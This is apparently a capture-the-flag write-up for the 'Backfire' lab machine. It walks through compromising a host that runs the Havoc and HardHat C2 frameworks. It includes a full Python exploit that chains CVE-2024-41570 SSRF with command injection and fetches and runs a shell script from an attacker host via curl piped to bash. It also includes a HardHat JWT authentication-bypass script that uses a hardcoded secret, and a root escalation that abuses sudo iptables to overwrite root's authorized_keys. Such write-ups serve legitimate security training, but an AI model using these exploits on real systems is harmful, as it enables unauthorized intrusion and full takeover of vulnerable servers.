
Week 2. Backfire
SUMMARY
This is a Debian 12 machine running as a C2 teamserver for a red team. There computer hosts two vulnerable versions of C2 frameworks Havoc and Hardhat, that we have to exploit to get root (therefore the C2 teamserver "backfires" on the red team). The Havoc C2 is based on websockets and is vulnerable to SSRF (CVE-2024-41570) and authenticated command injection. Chaining both vulnerabilities we can get initial shell in the host.
Regarding escalation, it turns out Hardhat is vulnerable to authentication bypass. This can be leveraged to move laterally to another user who in turn is a sudoer, which allows us to gain root.
KEYWORDS
C2, websockets, Havoc, CVE-2024-41570, Hardhat, authentication bypass, sudo escalation.
ENUMERATION
Port scan.
> for ports in $(nmap $target -p- --min-rate=5000 -Pn --open --reason | grep open | awk -F "/" '{print $1}' | tr '\n' ',' | sed s/,$//); do nmap $target -p$ports -sV -sC -Pn -vv -n && echo "\nList of open ports: $ports";done
Nmap scan report for 10.10.11.49
Host is up, received user-set (0.037s latency).
Scanned at 2025-01-23 18:49:15 GMT for 15s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey:
| 256 7d6bbab6254877ac3aa2efaef51d98c4 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJuxaL9aCVxiQGLRxQPezW3dkgouskvb/BcBJR16VYjHElq7F8C2ByzUTNr0OMeiwft8X5vJaD9GBqoEul4D1QE=
| 256 bef3279ec6d629277b9818914e972599 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA2oT7Hn4aUiSdg4vO9rJIbVSVKcOVKozd838ZStpwj8
443/tcp open ssl/http syn-ack nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_ssl-date: TLS randomness does not represent time
|_http-title: 404 Not Found
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
| ssl-cert: Subject: commonName=127.0.0.1/organizationName=debug llc/stateOrProvinceName=Florida/countryName=US/streetAddress=/localityName=Jacksonville/postalCode=3121
| Subject Alternative Name: IP Address:127.0.0.1
| Issuer: commonName=127.0.0.1/organizationName=debug llc/stateOrProvinceName=Florida/countryName=US/streetAddress=/localityName=Jacksonville/postalCode=3121
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-02-29T22:39:45
| Not valid after: 2027-02-28T22:39:45
| MD5: fbe4c3b6830a87f428ef78d77347c012
| SHA-1: 88e6ac1bda871324f618a7f120ca2d2d1799e962
| -----BEGIN CERTIFICATE-----
| MIID7DCCAtSgAwIBAgIQHZYBJzhQJyghNoxZIjfvaTANBgkqhkiG9w0BAQsFADB4
| MQswCQYDVQQGEwJVUzEQMA4GA1UECBMHRmxvcmlkYTEVMBMGA1UEBxMMSmFja3Nv
| bnZpbGxlMQkwBwYDVQQJEwAxDTALBgNVBBETBDMxMjExEjAQBgNVBAoTCWRlYnVn
| IGxsYzESMBAGA1UEAxMJMTI3LjAuMC4xMB4XDTI0MDIyOTIyMzk0NVoXDTI3MDIy
| ODIyMzk0NVoweDELMAkGA1UEBhMCVVMxEDAOBgNVBAgTB0Zsb3JpZGExFTATBgNV
| BAcTDEphY2tzb252aWxsZTEJMAcGA1UECRMAMQ0wCwYDVQQREwQzMTIxMRIwEAYD
| VQQKEwlkZWJ1ZyBsbGMxEjAQBgNVBAMTCTEyNy4wLjAuMTCCASIwDQYJKoZIhvcN
| AQEBBQADggEPADCCAQoCggEBAM1udMchH92dKimVKU3TbW4FclnoYCF0cCy++3YB
| nmP47VFmUn0NmLXAb8q9ntb+CgMIJ8v3UNnRuAgAHtqokdFY5U7CV/u+FgwUog77
| 3AYW6fEQLJH8juSWSl4HcyHyAhhzI8yNVKDbmFfQ+/LNh6VdWtEVzmU4GiapwEJs
| is4Mra1m04LeEp83LyTfq+sNNWkklt78/p5ITMIPb4ih+iTOa2C2d/zHfen0uSuY
| ePo4enVA7fWSQUuGJ6t18hL4mOgAjjBp5oy1BrQ6UdigjZgwHCzAt8fRFHj5mgO/
| n4Ne6QqKddtuH7fvD5xZslovHZcPC/qF842H4gSFE6TpvRUCAwEAAaNyMHAwDgYD
| VR0PAQH/BAQDAgKkMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAPBgNV
| HRMBAf8EBTADAQH/MB0GA1UdDgQWBBRkO8lMEXGIzZskEokOL1DmlYeKEzAPBgNV
| HREECDAGhwR/AAABMA0GCSqGSIb3DQEBCwUAA4IBAQCp1/flWB7d8JQyS6IS811v
| LTxcgVxWDCXFlgcn7HE1wFs+0f50RomKToqJ10wSzM4xonayyFojAGhZ1elEPZ9y
| 9xT7+mEe+9wPnqa2Fg9UCV4OZLxoV6zDt9GHME5r4+t0PwsB8jGKGD9RrGtEG4tk
| 7ZrkW2D7WqAcBfd0ySHXtcS71CpRgbx9rRK9fNARRvf9X15Cw8UHyyFcTIF8B/6I
| IwiE1U3joYVzEhsWY5yNN7uzinK7r+UQkvcv3ljRozB36HV8ZDBrKr+oOkA2afEk
| Jm1RTQSFpxb7FptMnJzW+lcHCfYuvBxbdjgqvBXAZCoKyLAtrN3gdf5oU/FLy8uI
|_-----END CERTIFICATE-----
8000/tcp open http syn-ack nginx 1.22.1
| http-methods:
|_ Supported Methods: GET HEAD POST
| http-ls: Volume /
| SIZE TIME FILENAME
| 1559 17-Dec-2024 11:31 disable_tls.patch
| 875 17-Dec-2024 11:34 havoc.yaotl
|_
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Index of /
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 16.43 seconds
List of open ports: 22,443,8000
There are 2 files exposed on port 8000.

The file havoc.yaotl
suggests a Havoc C2 framework teamserver is running on the host. This file contains configuration in Yaotl language, including credentials for 2 operators: sergej
and ilya
Teamserver {
Host = "127.0.0.1"
Port = 40056
Build {
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "ilya" {
Password = "CobaltStr1keSuckz!"
}
user "sergej" {
Password = "1w4nt2sw1tch2h4rdh4tc2"
}
}
Demon {
Sleep = 2
Jitter = 15
TrustXForwardedFor = false
Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}
Listeners {
Http {
Name = "Demon Listener"
Hosts = [
"backfire.htb"
]
HostBind = "127.0.0.1"
PortBind = 8443
PortConn = 8443
HostRotation = "round-robin"
Secure = true
}
}
The other file is a note where they say they have disabled TLS, and they use websocket management port 40056.
Disable TLS for Websocket management port 40056, so I can prove that sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so this will not compromize our teamserver
diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
--- a/client/src/Havoc/Connector.cc
+++ b/client/src/Havoc/Connector.cc
@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
{
Teamserver = ConnectionInfo;
Socket = new QWebSocket();
- auto Server = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
+ auto Server = "ws://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
auto SslConf = Socket->sslConfiguration();
/* ignore annoying SSL errors */
SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
- Socket->setSslConfiguration( SslConf );
Socket->ignoreSslErrors();
QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go
index 9d1c21f..59d350d 100644
--- a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
}
// start the teamserver
- if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+ if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
logger.Error("Failed to start websocket: " + err.Error())
}
In summary, it seems someone has installed and set up a C2 Havoc teamserver. According to documentation: "the teamserver handles connected operators, tasking agents and parsing the callback, listeners, and downloaded files and screenshots from the agents."
USER
Looking for C2 vulnerabilities, I came across this SSRF related to Havoc C2 (PoC here), that once exploited enables opening a TCP socket on the teamserver and read/write data from it (CVE-2024-41570). Thinking about what to send to the socket the answer is of course an RCE payload, since the stuff is also vulnerable to authenticated (and we have credentials) command injection.
I found a PoC that basically chains both exploits. The first one has been modified to upgrade the socket to a websocket, adding functions to create the websocket requests manually. Then, the second one is used to exploit the command injection to get RCE.
import binascii
import json
import random
import requests
import argparse
import urllib3
import os
import hashlib
urllib3.disable_warnings()
from Crypto.Cipher import AES
from Crypto.Util import Counter
key_bytes = 32
def decrypt(key, iv, ciphertext):
if len(key) <= key_bytes:
for _ in range(len(key), key_bytes):
key += b"0"
assert len(key) == key_bytes
iv_int = int(binascii.hexlify(iv), 16)
ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
aes = AES.new(key, AES.MODE_CTR, counter=ctr)
plaintext = aes.decrypt(ciphertext)
return plaintext
def int_to_bytes(value, length=4, byteorder="big"):
return value.to_bytes(length, byteorder)
def encrypt(key, iv, plaintext):
if len(key) <= key_bytes:
for x in range(len(key),key_bytes):
key = key + b"0"
assert len(key) == key_bytes
iv_int = int(binascii.hexlify(iv), 16)
ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
aes = AES.new(key, AES.MODE_CTR, counter=ctr)
ciphertext = aes.encrypt(plaintext)
return ciphertext
def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
# DEMON_INITIALIZE / 99
command = b"\x00\x00\x00\x63"
request_id = b"\x00\x00\x00\x01"
demon_id = agent_id
hostname_length = int_to_bytes(len(hostname))
username_length = int_to_bytes(len(username))
domain_name_length = int_to_bytes(len(domain_name))
internal_ip_length = int_to_bytes(len(internal_ip))
process_name_length = int_to_bytes(len(process_name) - 6)
data = b"\xab" * 100
header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
print("[***] Trying to register agent...")
r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to register agent - {r.status_code} {r.text}")
def open_socket(socket_id, target_address, target_port):
# COMMAND_SOCKET / 2540
command = b"\x00\x00\x09\xec"
request_id = b"\x00\x00\x00\x02"
# SOCKET_COMMAND_OPEN / 16
subcommand = b"\x00\x00\x00\x10"
sub_request_id = b"\x00\x00\x00\x03"
local_addr = b"\x22\x22\x22\x22"
local_port = b"\x33\x33\x33\x33"
forward_addr = b""
for octet in target_address.split(".")[::-1]:
forward_addr += int_to_bytes(int(octet), length=1)
forward_port = int_to_bytes(target_port)
package = subcommand+socket_id+local_addr+local_port+forward_addr+forward_port
package_size = int_to_bytes(len(package) + 4)
header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
data = agent_header + header_data
print("[***] Trying to open socket on the teamserver...")
r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to open socket on teamserver - {r.status_code} {r.text}")
def write_socket(socket_id, data):
# COMMAND_SOCKET / 2540
command = b"\x00\x00\x09\xec"
request_id = b"\x00\x00\x00\x08"
# SOCKET_COMMAND_READ / 11
subcommand = b"\x00\x00\x00\x11"
sub_request_id = b"\x00\x00\x00\xa1"
# SOCKET_TYPE_CLIENT / 3
socket_type = b"\x00\x00\x00\x03"
success = b"\x00\x00\x00\x01"
data_length = int_to_bytes(len(data))
package = subcommand+socket_id+socket_type+success+data_length+data
package_size = int_to_bytes(len(package) + 4)
header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
post_data = agent_header + header_data
print("[***] Trying to write to the socket")
r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to write data to the socket - {r.status_code} {r.text}")
def read_socket(socket_id):
# COMMAND_GET_JOB / 1
command = b"\x00\x00\x00\x01"
request_id = b"\x00\x00\x00\x09"
header_data = command + request_id
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
data = agent_header + header_data
print("[***] Trying to poll teamserver for socket output...")
r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Read socket output successfully!")
else:
print(f"[!!!] Failed to read socket output - {r.status_code} {r.text}")
return ""
command_id = int.from_bytes(r.content[0:4], "little")
request_id = int.from_bytes(r.content[4:8], "little")
package_size = int.from_bytes(r.content[8:12], "little")
enc_package = r.content[12:]
return decrypt(AES_Key, AES_IV, enc_package)[12:]
def create_websocket_request(host, port):
request = (
f"GET /havoc/ HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"Upgrade: websocket\r\n"
f"Connection: Upgrade\r\n"
f"Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==\r\n"
f"Sec-WebSocket-Version: 13\r\n"
f"\r\n"
).encode()
return request
def build_websocket_frame(payload):
payload_bytes = payload.encode("utf-8")
frame = bytearray()
frame.append(0x81)
payload_length = len(payload_bytes)
if payload_length <= 125:
frame.append(0x80 | payload_length)
elif payload_length <= 65535:
frame.append(0x80 | 126)
frame.extend(payload_length.to_bytes(2, byteorder="big"))
else:
frame.append(0x80 | 127)
frame.extend(payload_length.to_bytes(8, byteorder="big"))
masking_key = os.urandom(4)
frame.extend(masking_key)
masked_payload = bytearray(byte ^ masking_key[i % 4] for i, byte in enumerate(payload_bytes))
frame.extend(masked_payload)
return frame
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="The listener target in URL format", required=True)
parser.add_argument("-i", "--ip", help="The IP to open the socket with", required=True)
parser.add_argument("-p", "--port", help="The port to open the socket with", required=True)
parser.add_argument("-A", "--user-agent", help="The User-Agent for the spoofed agent", default="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36")
parser.add_argument("-H", "--hostname", help="The hostname for the spoofed agent", default="DESKTOP-7F61JT1")
parser.add_argument("-u", "--username", help="The username for the spoofed agent", default="Administrator")
parser.add_argument("-d", "--domain-name", help="The domain name for the spoofed agent", default="ECORP")
parser.add_argument("-n", "--process-name", help="The process name for the spoofed agent", default="msedge.exe")
parser.add_argument("-ip", "--internal-ip", help="The internal ip for the spoofed agent", default="10.1.33.7")
args = parser.parse_args()
# 0xDEADBEEF
magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = args.target
headers = {
"User-Agent": args.user_agent
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = bytes(args.hostname, encoding="utf-8")
username = bytes(args.username, encoding="utf-8")
domain_name = bytes(args.domain_name, encoding="utf-8")
internal_ip = bytes(args.internal_ip, encoding="utf-8")
process_name = args.process_name.encode("utf-16le")
process_id = int_to_bytes(random.randint(1000, 5000))
register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)
socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, args.ip, int(args.port))
HOSTNAME = "127.0.0.1"
PORT = 40056
USER = "ilya"
PASSWORD = "CobaltStr1keSuckz!"
#upgrade http to websocket so that we can use the second script
write_socket(socket_id,create_websocket_request(host=HOSTNAME, port=PORT))
# Authenticate to teamserver
payload = {"Body": {"Info": {"Password": hashlib.sha3_256(PASSWORD.encode()).hexdigest(), "User": USER}, "SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": USER}}
payload_json=json.dumps(payload)
write_socket(socket_id, build_websocket_frame(payload_json))
# Create a listener to build demon agent for
payload = {"Body":{"Info":{"Headers":"","HostBind":"0.0.0.0","HostHeader":"","HostRotation":"round-robin","Hosts":"0.0.0.0","Name":"abc","PortBind":"443","PortConn":"443","Protocol":"Https","Proxy Enabled":"false","Secure":"true","Status":"online","Uris":"","UserAgent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"},"SubEvent":1},"Head":{"Event":2,"OneTime":"","Time":"08:39:18","User": USER}}
payload_json=json.dumps(payload)
write_socket(socket_id, build_websocket_frame(payload_json))
# Create a pseudo shell with RCE loop
cmd = 'curl http://<kali ip here>/shell.sh | bash'
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""
# Command injection in demon compilation command
payload = {"Body": {"Info": {"AgentType": "Demon", "Arch": "x64", "Config": "{\n \"Amsi/Etw Patch\": \"None\",\n \"Indirect Syscall\": false,\n \"Injection\": {\n \"Alloc\": \"Native/Syscall\",\n \"Execute\": \"Native/Syscall\",\n \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n },\n \"Jitter\": \"0\",\n \"Proxy Loading\": \"None (LdrLoadDll)\",\n \"Service Name\":\"" + injection + "\",\n \"Sleep\": \"2\",\n \"Sleep Jmp Gadget\": \"None\",\n \"Sleep Technique\": \"WaitForSingleObjectEx\",\n \"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe", "Listener": "abc"}, "SubEvent": 2}, "Head": {
"Event": 5, "OneTime": "true", "Time": "18:39:04", "User": USER}}
payload_json=json.dumps(payload)
write_socket(socket_id, build_websocket_frame(payload_json))
Note that you have to add your Kali IP in the command injection line (search for "Kali IP here").
Prepare the shell.sh
script and launch the exploit.
> python3 exploit.py --target https://backfire.htb -i 127.0.0.1 -p 40056

Stabilize your shell adding your pub key to authorized_keys
> echo 'ssh-rsa AAAAB3NzaC1yc2EAAAAD...o7iPe/MUrne1iH/3r kali@kali' >> ~/.ssh/authorized_keys
Open an SSH shell with your private key.
> ssh -i ~/.ssh/id_rsa ilya@backfire.htb

And collect the user flag.
ROOT
Start from the low-priv shell and take the opportunity to enumerate the user and the system.
> whoami && id
ilya
uid=1000(ilya) gid=1000(ilya) groups=1000(ilya),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
> uname -a && cat /etc/os-release
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64 GNU/Linux
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
There is a text file in the home directory.
> cat hardhat.txt
Sergej said he installed HardHatC2 for testing and not made any changes to the defaults. I hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C#
So it seems there is another C2 called Hardhat installed in the host.
There is something listening on ports 7076 and 5000.
> netstat -lnput
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:40056 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:7096 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
Forward both ports to Kali and run this authentication bypass PoC.
import jwt
import datetime
import uuid
import requests
rhost = '127.0.0.1:5000'
# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()
expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}
token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)
# Use Admin JWT to create a new user 'sth_pentest' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
burp0_json = {
"password": "sth_pentest",
"role": "TeamLead",
"username": "sth_pentest"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)
A JWT is dumped and a new user is created.
Generated JWT:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJIYXJkSGF0X0FkbWluIiwianRpIjoiMGY1OGQzMWItYTEwNS00ZGY2LTkxZTktZjhhMDlhMWZmMDdmIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvbmFtZWlkZW50aWZpZXIiOiIxIiwiaXNzIjoiaGFyZGhhdGMyLmNvbSIsImF1ZCI6ImhhcmRoYXRjMi5jb20iLCJpYXQiOjE3Mzc3NDk5MTcsImV4cCI6MTc0MDE2OTExNywiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiQWRtaW5pc3RyYXRvciJ9.71iN7C14avqO5wiYzMC0mwwqqRNgiMHvBTo-UQym1hY
/usr/lib/python3/dist-packages/urllib3/connectionpool.py:1015: InsecureRequestWarning: Unverified HTTPS request is being made to host '127.0.0.1'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
warnings.warn(
User sth_pentest created
Login with credentials sth_pentest:sth_pentest
on https://127.0.0.1:7096

In the operator's dashboard, navigate to Implants → Terminal, check you are running as user sergej
Use the terminal to add your pub key into Sergej's authorized keys.

Now you can SSH in as sergej

Now check sudoers configuration.
> sudo -l
Matching Defaults entries for sergej on backfire:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User sergej may run the following commands on backfire:
(root) NOPASSWD: /usr/sbin/iptables
(root) NOPASSWD: /usr/sbin/iptables-save
Seems he can run iptables
as root, no password will be prompted. The comment function is used to overwrite other files and to escalate privileges.
Back in the victim shell.
> ssh-keygen -t ed25519
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/sergej/.ssh/id_ed25519):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/sergej/.ssh/id_ed25519
Your public key has been saved in /home/sergej/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:f8+8VAt6MXbrdbcnu6KJuK9PX0Sr1WUT8SsGQN/9FDs sergej@backfire
The key's randomart image is:
+--[ED25519 256]--+
| .o +.|
| o . . =|
| o.. E=|
| ..o +=|
| S +B.oo|
| . ++ *.o|
| . o.o..o+|
| o o +o=o *|
| +=+ +. .BB.|
+----[SHA256]-----+
> cat ~/.ssh/id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJp2KIOo3f3Pd61D1x80elhnrPd2mq6ooivoDftM48JU sergej@backfire
> sudo -u root /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJp2KIOo3f3Pd61D1x80elhnrPd2mq6ooivoDftM48JU sergej@backfire\n'
> sudo iptables-save -f /root/.ssh/authorized_keys
> ssh -i ~/.ssh/id_ed25519 root@localhost
The authenticity of host 'localhost (::1)' can't be established.
ED25519 key fingerprint is SHA256:vKC7A11sFxQLRppUMt01q0d/DPREoskH4Aa42t0Bz9M.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ED25519) to the list of known hosts.
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64

You are root.
REFERENCES
https://havocframework.com/docs/profiles
https://redfoxsec.com/blog/havoc-c2-framework/
https://havocframework.com/docs/welcome
https://blog.includesecurity.com/2024/09/vulnerabilities-in-open-source-c2-frameworks/
https://blog.chebuya.com/posts/server-side-request-forgery-on-havoc-c2/
https://github.com/chebuya/Havoc-C2-SSRF-poc
https://www.cvedetails.com/cve/CVE-2024-41570
https://github.com/IncludeSecurity/c2-vulnerabilities/tree/main/havoc_auth_rce
https://blog.sth.sh/hardhatc2-0-days-rce-authn-bypass-96ba683d9dd7
https://www.shielder.com/blog/2024/09/a-journey-from-sudo-iptables-to-local-privilege-escalation/
Last updated